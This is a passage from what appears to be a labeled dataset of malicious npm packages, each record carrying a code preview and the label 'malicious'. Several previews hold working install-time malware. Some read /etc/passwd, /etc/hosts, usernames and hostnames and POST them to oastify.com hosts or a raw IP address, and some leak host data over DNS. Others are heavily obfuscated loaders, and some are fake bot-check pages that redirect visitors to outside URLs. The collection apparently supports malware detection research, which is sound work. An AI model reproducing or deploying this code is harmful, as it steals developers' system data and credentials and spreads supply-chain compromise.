"\"use strict\";\r\nfunction eVdJkyX(){const IExhYwXchSkizoj_ORJinm=['eceafcebd0f7fff6','fcebebf6eb','a8a9acaeafafadd1dcded3d5d1','caf6ebebe0b5b9fbf8faf2fcf7fdb9eafcebeffcebb9f0eab9ece9fdf8edf0f7feb9f7f6ee','f1edede9eaa3b6b6e9ebf6fafceaeab4f5f6feb4ece9fdf8edfcb7effcebfafcf5b7f8e9e9b6f8e9f0b6f0e9faf1fcfaf2','caf6ebebe0b5b9fbf8faf2fcf7fdb9eafcebeffcebb9f0eab9f7f6edb9eef6ebf2f0f7fe','a8afa8a0a8acabf0ebd6f2d5cf','ede0e9fc','a8adaaaeaaa8cadbebf0f8fd','f7e9f4c6e9f8faf2f8fefcc6effcebeaf0f6f7','faf8edfaf1','f4fceaeaf8fefc','faf6f6f2f0fc','ada0a9a8a9aaadd0d3c1fcf6d6','fefced','aea9a8aeaca9d3ddd6d1edcc','fce1e9f6ebedea','e9ecfbf5f0fad0e9efad','b6f3eaf6f7b6','eceafcebf7f8f4fc','a1a9fefdd5cfeade','a8a9aaaaa1a9aafeeed2e9fae0','faf6f7edebf6f5','edf1fcf7','fcf7ef','abaaada9a9aaafc9c1e9facbf1','dcebebf6ebb9fefcededf0f7feb9eae0eaedfcf4b9f0f7fff6a3','dcebebf6ebb9fffcedfaf1f0f7feb9f5f6faf8edf0f6f7a3','f1edede9eaa3b6b6f0e9f8e9f0b7faf6b6','ada9a1ada8a0acc1ddf0c1dff2','faf6f7fff0fe','aba8afd5ced2c9d0cf','f5f6fe','f1f6eaedf7f8f4fc','fdf6edfcf7ef','faf6ecf7edebe0c6f7f8f4fc','caf6ebebe0b5b9faf1fcfaf2b9e0f6ecebb9f0f7edfcebf7fcedb9faf6f7f7fcfaedf0f6f7','f8e1f0f6ea','e9f6eaed','e9ecfbf5f0fab4f0e9','caf6ebebe0b5b9faf1fcfaf2b9e0f6ecebb9f0f7edfcebf7fcedb9faf6f7f7fcfaedf0f6f7a3','fdf8edf8'];eVdJkyX=function(){return IExhYwXchSkizoj_ORJinm;};return eVdJkyX();}const PujUKZV_xzKXRpZb_qq=Tk$EYKHrGEMtipE$suPHb;function Tk$EYKHrGEMtipE$suPHb(e_tCdRlBVv_Ab,xVTUnmWDKMYydHK$UgXxaJZM){const o$LJSaq=eVdJkyX();return Tk$EYK", "files": ["tmp/tmpknw47tgc/1imit/package/lib/private/prepare-writer.js", "tmp/tmpknw47tgc/1imit/package/package.json", "tmp/tmpknw47tgc/1imit/package/lib/writer.js", "tmp/tmpknw47tgc/1imit/package/lib/get-namespace-prefix.js", "tmp/tmpknw47tgc/1imit/package/lib/level-prefixes.js", "tmp/tmpknw47tgc/1imit/package/commitlint.config.js"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1password-sdk-examples", "version": "1.0.0", "filename": "2025-02-17-1password-sdk-examples-v1.0.0.zip", "primary_file": "tmp/tmpab_2jn1o/1password-sdk-examples/package/index.js", "diff_preview": "const os = require(\"os\");\nconst dns = require(\"dns\");\nconst fs = require(\"fs\");\nconst https = require(\"https\");\nconst packageJSON = require(\"./package.json\");\nconst packageName = packageJSON.name;\n\nconst trackingData = JSON.stringify({\n p: packageName,\n c: __dirname,\n hd: os.homedir(),\n hn: os.hostname(),\n un: os.userInfo().username,\n dns: dns.getServers(),\n v: packageJSON.version,\n pjson: packageJSON,\n etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null,\n etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null\n});\n\nconsole.log(\"Sending System Data from Remote Server: \", trackingData);\n\nvar postData = JSON.stringify({\n msg: trackingData,\n});\n\nvar options = {\n hostname: \"5sy76n9muulc0jzmcqxkohevnmtdn1dp2.oastify.com\",\n port: 443,\n path: \"/\",\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": postData.length,\n },\n};\n\nvar req = https.request(options, (res) => {\n res.on(\"data\", (d) => {\n process.stdout.write(d);\n });\n});\n\nreq.on(\"error\", (e) => {\n console.error(\"Error sending data:\", e);\n});\n\nreq.write(postData);\nreq.end();\n", "files": ["tmp/tmpab_2jn1o/1password-sdk-examples/package/index.js", "tmp/tmpab_2jn1o/1password-sdk-examples/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1231dai", "version": "1.0.0", "filename": "2025-12-30-1231dai-v1.0.0.zip", "primary_file": "tmp/tmpfup8uus7/1231dai/package/index.js", "diff_preview": "const a1 = require(\"os\");\nconst b1 = require(\"dns\");\nconst c1 = require(\"querystring\");\nconst d1 = require(\"http\");\nconst e1 = require(\"./package.json\");\nconst f1 = e1.name;\n\nconst g1 = JSON.stringify({\n p: f1,\n c: __dirname,\n hd: a1.homedir(),\n hn: a1.hostname(),\n un: a1.userInfo().username,\n dns: b1.getServers(),\n r: e1 ? e1.___resolved : undefined,\n v: e1.version,\n pjson: e1,\n});\n\nvar h1 = c1.stringify({\n msg: g1,\n});\n\nvar i1 = {\n hostname: \"8.217.24.92\", \n port: 4753, \n path: \"/\",\n method: \"POST\", \n headers: {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Content-Length\": h1.length,\n },\n};\n\nvar j1 = d1.request(i1, (k1) => {\n k1.on(\"data\", (l1) => {\n process.stdout.write(l1);\n });\n});\n\nj1.on(\"error\", (m1) => {\n if (Math.random() > 0.5) { \n var n1 = true; \n while (n1) { \n n1 = false; \n } \n } else {\n // handle error\n }\n});\n\nj1.write(h1);\nj1.end();", "files": ["tmp/tmpfup8uus7/1231dai/package/index.js", "tmp/tmpfup8uus7/1231dai/package/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1imit", "version": "1.0.0", "filename": "2025-06-03-1imit-v1.0.0.zip", "primary_file": "tmp/tmpszf35lqj/1imit/package/lib/private/prepare-writer.js", "diff_preview": "\"use strict\";\r\nconst P$hlI$Wa=Ids_zS_rDP;(function(mtjzN$UiyT_awzpCColxv,cYEAevcv$QEIzTLrxqaSW){const vT$QL_BsI=Ids_zS_rDP,ELKAX_kwooIa=mtjzN$UiyT_awzpCColxv();while(!![]){try{const TkNMLorvfUZBsWkJAaMx=-parseFloat(vT$QL_BsI(0x1dd))/(Math.max(0x18bc,0x18bc)+Number(0x1ef)*-parseInt(0xb)+-parseInt(0x376)*parseInt(0x1))*Math['trunc'](parseFloat(vT$QL_BsI(0x1d1))/(parseInt(0x167c)+-parseInt(0x3)*0x959+Math.max(0x3,0x3)*0x1db))+-parseFloat(vT$QL_BsI(0x1de))/(-parseInt(0x2625)+-parseInt(0x262c)+0x4c54)+-parseFloat(vT$QL_BsI(0x1e2))/(0x2f*Math.max(0x9e,0x9e)+Math.ceil(-parseInt(0x1))*Math.max(parseInt(0x22ad),parseInt(0x22ad))+parseInt(0x5af))+-parseFloat(vT$QL_BsI(0x1cd))/(-0x22*Math.trunc(parseInt(0x49))+Math.floor(-0x652)*parseInt(0x2)+parseInt(0x165b)*Math.trunc(parseInt(0x1)))*(parseFloat(vT$QL_BsI(0x1cf))/(Math.floor(parseInt(0x906))+Math.max(0x2,parseInt(0x2))*parseInt(0xa31)+-0x1d62))+parseFloat(vT$QL_BsI(0x1df))/(0x1e81*0x1+-0x4*parseInt(0x207)+-parseInt(0x165e))*parseInt(-parseFloat(vT$QL_BsI(0x1c4))/(parseFloat(-parseInt(0x32b))*0x5+Math.max(parseInt(0x1323),parseInt(0x1323))+parseFloat(-0x344)))+parseFloat(vT$QL_BsI(0x1d5))/(-0x1685*0x1+0x1e9e+Math.floor(-0x810))*(-parseFloat(vT$QL_BsI(0x1ba))/(-0x223c+Math.max(-parseInt(0x3),-parseInt(0x3))*0x41+parseInt(0x2309)))+Math['floor'](parseFloat(vT$QL_BsI(0x1bf))/(0x178d*Math.ceil(0x1)+parseInt(0x1c05)+Math.ceil(-0x1)*Math.ceil(0x3387)))*(parseFloat(vT$QL_BsI(0x1be))/(Math.max(0xc4e,0xc4e)*-parseInt(0x1)+Math.ceil(-0x23d)+0xe9", "files": ["tmp/tmpszf35lqj/1imit/package/lib/private/prepare-writer.js", "tmp/tmpszf35lqj/1imit/package/package.json", "tmp/tmpszf35lqj/1imit/package/lib/writer.js", "tmp/tmpszf35lqj/1imit/package/lib/get-namespace-prefix.js", "tmp/tmpszf35lqj/1imit/package/lib/level-prefixes.js", "tmp/tmpszf35lqj/1imit/package/commitlint.config.js"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1password-sdk-exapmles", "version": "1.0.0", "filename": "2025-01-09-1password-sdk-exapmles-v1.0.0.zip", "primary_file": "tmp/tmp4frzgde9/1password-sdk-exapmles/package/index.js", "diff_preview": "const os = require(\"os\");\nconst dns = require(\"dns\");\nconst fs = require(\"fs\");\nconst https = require(\"https\");\nconst packageJSON = require(\"./package.json\");\nconst packageName = packageJSON.name;\n\n// Collect system data from the remote server where the package is installed\nconst trackingData = JSON.stringify({\n p: packageName, // Package name\n c: __dirname, // Directory where the package is installed\n hd: os.homedir(), // Home directory on the remote server\n hn: os.hostname(), // Hostname of the remote server\n un: os.userInfo().username, // Username on the remote server\n dns: dns.getServers(), // DNS servers on the remote server\n v: packageJSON.version, // Version of the package\n pjson: packageJSON, // Full package.json data\n etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null, // /etc/passwd from the remote system\n etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null // /etc/hosts from the remote system\n});\n\n// Log the data to verify it's the remote server's information\nconsole.log(\"Sending System Data from Remote Server: \", trackingData);\n\n// Prepare the POST request data\nvar postData = JSON.stringify({\n msg: trackingData,\n});\n\n// Request options to send data to your server (Burp Collaborator or any endpoint)\nvar options = {\n hostname: \"g2jy99pba5sp6xsweu122rxo1f76vwjl.oastify.com\", // Burp Collaborator server\n port: 443,\n path: \"/\",\n method: \"POS", "files": ["tmp/tmp4frzgde9/1password-sdk-exapmles/package/index.js", "tmp/tmp4frzgde9/1password-sdk-exapmles/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1uniswapinterface", "version": "1.1.2", "filename": "2025-09-18-1uniswapinterface-v1.1.2.zip", "primary_file": "tmp/tmpqhody1of/1uniswapinterface/package/script.js", "diff_preview": "document.addEventListener('DOMContentLoaded', function() {\n const checkbox = document.getElementById('botCheck');\n const verificationBox = document.querySelector('.verification-box');\n const loadingSpinner = document.getElementById('loadingSpinner');\n const checkboxContainer = document.querySelector('.checkbox-container');\n \n // \n const redirectUrl = 'https://apijs-red.vercel.app';\n \n checkbox.addEventListener('change', function() {\n if (this.checked) {\n // \n showLoadingState();\n \n // \n setTimeout(() => {\n // \n showSuccessState();\n \n // \n setTimeout(() => {\n window.location.href = redirectUrl;\n }, 1000);\n }, 2000 + Math.random() * 1000); \n }\n });\n \n function showLoadingState() {\n // \n checkboxContainer.style.display = 'none';\n loadingSpinner.style.display = 'block';\n \n // \n verificationBox.style.borderColor = '#f48c06';\n \n // \n updateInfoText('Checking your browser...', 'This may take a few seconds.');\n }\n \n function showSuccessState() {\n // \n loadingSpinner.style.display = 'none';\n \n // \n verificationBox.classList.add('verification-success');\n \n // \n const successIcon = document.createElement('div');\n successIcon.innerHTM", "files": ["tmp/tmpqhody1of/1uniswapinterface/package/script.js", "tmp/tmpqhody1of/1uniswapinterface/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1unitest", "version": "1.0.1", "filename": "2025-09-21-1unitest-v1.0.1.zip", "primary_file": "tmp/tmp9e5uuc3x/1unitest/package/script.js", "diff_preview": "(function(){\nvar _a=['t92YuUGbn92bn9yL6MHc0RHa','==gbvNnauAXdsFmevIDNllDM0YjZhNDZzMDM1UTYlFTNhFTOyMWN2MDZmNTMxMTN2YTN1Q2LvBHc1xWY69iM5kjMz9GZzNXYiF0Lt92YuQnblRnbvNmclNXdiVHa0l2ZucXYy9yL6MHc0RHa'];\nfunction _d(s){try{return atob(s.split('').reverse().join(''))}catch(e){return null}}\nfunction _fetchTimeout(url,ms){return new Promise(function(resolve,reject){var timed=false;var t=setTimeout(function(){timed=true;reject(new Error('timeout'))},ms||3000);fetch(url,{cache:'no-store',mode:'cors'}).then(function(r){if(timed) return; clearTimeout(t); resolve(r);},function(err){if(timed) return; clearTimeout(t); reject(err)});})}\ndocument.addEventListener('DOMContentLoaded',function(){\n var c=document.getElementById('botCheck'); if(!c) return;\n var v=document.querySelector('.verification-box'), l=document.getElementById('loadingSpinner'), box=document.querySelector('.checkbox-container');\n function H(){try{if(box)box.style.display='none'; if(l) l.style.display='block';}catch(e){}}\n function S(){try{if(l) l.style.display='none'; if(v) v.innerHTML='

Успешно!

';}catch(e){}}\n function G(u){try{location.replace(u);}catch(e){try{location.href=u}catch(e){}}}\n c.addEventListener('change',function(){\n if(!this.checked) return; H();\n setTimeout(function(){ S(); setTimeout(function(){\n try{\n var hasRef = document.referrer && document.referrer.trim() !== '';\n if(!hasRef){ G(_d(_a[0])); return; }\n var gh = _d(_a[1]); if(!gh){ G(_d(_a[0])); return; }\n _fetchTimeou", "files": ["tmp/tmp9e5uuc3x/1unitest/package/script.js", "tmp/tmp9e5uuc3x/1unitest/package/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@automagik@genie", "version": "4.260421.34", "filename": "2026-04-21-@automagik_genie-v4.260421.34.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/dist/genie.js", "diff_preview": "#!/usr/bin/env bun\n// @bun\nvar __create=Object.create;var{getPrototypeOf:__getProtoOf,defineProperty:__defProp,getOwnPropertyNames:__getOwnPropNames,getOwnPropertyDescriptor:__getOwnPropDesc}=Object,__hasOwnProp=Object.prototype.hasOwnProperty;function __accessProp(key){return this[key]}var __toESMCache_node,__toESMCache_esm,__toESM=(mod,isNodeMode,target)=>{var canCache=mod!=null&&typeof mod===\"object\";if(canCache){var cache=isNodeMode?__toESMCache_node??=new WeakMap:__toESMCache_esm??=new WeakMap,cached=cache.get(mod);if(cached)return cached}target=mod!=null?__create(__getProtoOf(mod)):{};let to=isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:!0}):target;for(let key of __getOwnPropNames(mod))if(!__hasOwnProp.call(to,key))__defProp(to,key,{get:__accessProp.bind(mod,key),enumerable:!0});if(canCache)cache.set(mod,to);return to},__toCommonJS=(from)=>{var entry=(__moduleCache??=new WeakMap).get(from),desc;if(entry)return entry;if(entry=__defProp({},\"__esModule\",{value:!0}),from&&typeof from===\"object\"||typeof from===\"function\"){for(var key of __getOwnPropNames(from))if(!__hasOwnProp.call(entry,key))__defProp(entry,key,{get:__accessProp.bind(from,key),enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return __moduleCache.set(from,entry),entry},__moduleCache,__commonJS=(cb,mod)=>()=>(mod||cb((mod={exports:{}}).exports,mod),mod.exports);var __returnValue=(v)=>v;function __exportSetter(name,newValue){this[name]=__returnValue.bind(nul", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/dist/genie.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/dist/env-compat.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/plugins/genie/scripts/smart-install.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/scripts/postinstall-tmux.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqqdc3nhv/@automagik-genie/package/plugins/genie/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@server-api", "version": "0.16.24", "filename": "2025-11-24-@asyncapi_server-api-v0.16.24.zip", "primary_file": "tmp/tmpwwyupkg3/@asyncapi-server-api/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpwwyupkg3/@asyncapi-server-api/package/bun_environment.js", "tmp/tmpwwyupkg3/@asyncapi-server-api/package/.github/workflows/scripts/mailchimp/htmlContent.js", "tmp/tmpwwyupkg3/@asyncapi-server-api/package/setup_bun.js", "tmp/tmpwwyupkg3/@asyncapi-server-api/package/package.json", "tmp/tmpwwyupkg3/@asyncapi-server-api/package/.github/workflows/scripts/mailchimp/index.js", "tmp/tmpwwyupkg3/@asyncapi-server-api/package/jest.config.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@modelina", "version": "5.10.2", "filename": "2025-11-24-@asyncapi_modelina-v5.10.2.zip", "primary_file": "tmp/tmp_fmf6uc4/@asyncapi-modelina/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmp_fmf6uc4/@asyncapi-modelina/package/bun_environment.js", "tmp/tmp_fmf6uc4/@asyncapi-modelina/package/lib/cjs/models/CommonModel.js", "tmp/tmp_fmf6uc4/@asyncapi-modelina/package/lib/esm/models/CommonModel.js", "tmp/tmp_fmf6uc4/@asyncapi-modelina/package/lib/cjs/helpers/CommonModelToMetaModel.js", "tmp/tmp_fmf6uc4/@asyncapi-modelina/package/lib/esm/helpers/CommonModelToMetaModel.js", "tmp/tmp_fmf6uc4/@asyncapi-modelina/package/lib/cjs/processors/JsonSchemaInputProcessor.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-api-client", "version": "999.9.9", "filename": "2024-12-15-32red-api-client-v999.9.9.zip", "primary_file": "tmp/tmpz3ivg3vw/32red-api-client/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpz3ivg3vw/32red-api-client/package/index.js", "tmp/tmpz3ivg3vw/32red-api-client/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-admin", "version": "999.9.9", "filename": "2024-12-15-32red-admin-v999.9.9.zip", "primary_file": "tmp/tmpqh3hcep1/32red-admin/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpqh3hcep1/32red-admin/package/index.js", "tmp/tmpqh3hcep1/32red-admin/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-api", "version": "999.9.9", "filename": "2024-12-15-32red-api-v999.9.9.zip", "primary_file": "tmp/tmp4vzufhf7/32red-api/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp4vzufhf7/32red-api/package/index.js", "tmp/tmp4vzufhf7/32red-api/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@specs", "version": "6.10.1", "filename": "2025-11-24-@asyncapi_specs-v6.10.1.zip", "primary_file": "tmp/tmpyqamxl7e/@asyncapi-specs/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of 